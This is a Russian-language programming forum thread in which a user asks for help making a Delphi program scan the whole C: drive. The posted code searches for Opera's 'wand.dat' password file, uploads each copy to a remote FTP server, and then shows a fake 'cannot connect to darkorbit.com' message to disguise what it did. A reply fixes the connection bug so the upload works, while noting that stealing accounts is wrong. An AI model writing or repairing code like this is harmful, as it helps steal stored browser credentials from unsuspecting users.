[Помогите!] Scan локальных дисков

[Fox-007]

Доброго времени суток.у меня такая проблемка:
Моя програма сканирует лиш определенные дериктории в поиске нужного файла ,а мне нужно чтоб она сканировала весь лкальный диск В поиске нужного файла.

Цитата: fileName := 'Мой_файл.Exe'; dir1 := 'C:\Opera\profile'; dir2 := 'C:\Program Files\Opera\profile'; f := FileSearch(fileName, dir2+';'+dir1); c := 'Мой_файл.Exe; d1 := 'C:\Program Files\Opera\profile'; d2 := 'C:\Opera\Profiles'; g := FileSearch(c, d1+';'+d2);

Помогите пжл...

[-Rikk-]

fileName := 'Мой_файл.Exe';
dir1 := 'C:\';
f := FileSearch(fileName, dir1);
c := 'Мой_файл.Exe;
d1 := 'C:\';
g := FileSearch(c, d1);

Так?

[Fox-007]

Нет ((
Мне нужно чтоб програма сканировала весь диск С:\

Добавлено через 11 часов 21 минуту
Вот это у меня получилось:
При компиляции нету ошибок а при выполнении програмы выдает ошибку и строку idftp1.connected; выделяет синим цветом.Помогине непонимаю в чем ошибка.

Цитата: procedure TForm1.FormCreate(Sender: TObject); begin mFileScan1.Paths.Text:= DriveComboBox1.Drive + ':\'; mFileScan1.Filters.Clear; mFileScan1.Filters.Add('wand.dat'); mFileScan1.Start; end; procedure TForm1.mFileScan1FileFound(Sender: TObject; FileName: String); var n : string; a : integer ; begin n := (FileName) ; showmessage(n); a := random(1000); idftp1.Host:='xxxxx; idftp1.Port:=21; idftp1.Username:='xxxxxx'; idftp1.Password:='xxxxxxx'; idftp1.Connected; idftp1.Put(n, 'a'+'wand.dat', true); idftp1.Disconnect ; showmessage('Невозможно подключитьсч к серверу darkorbit.com'); end;

[symbiozis]

Лучше сделать так.
idftp1.Connect(true, 2000); //сам коннект
AssErt(idftp1.Connected); // проверка

ПыСы Тырить акки не хорошо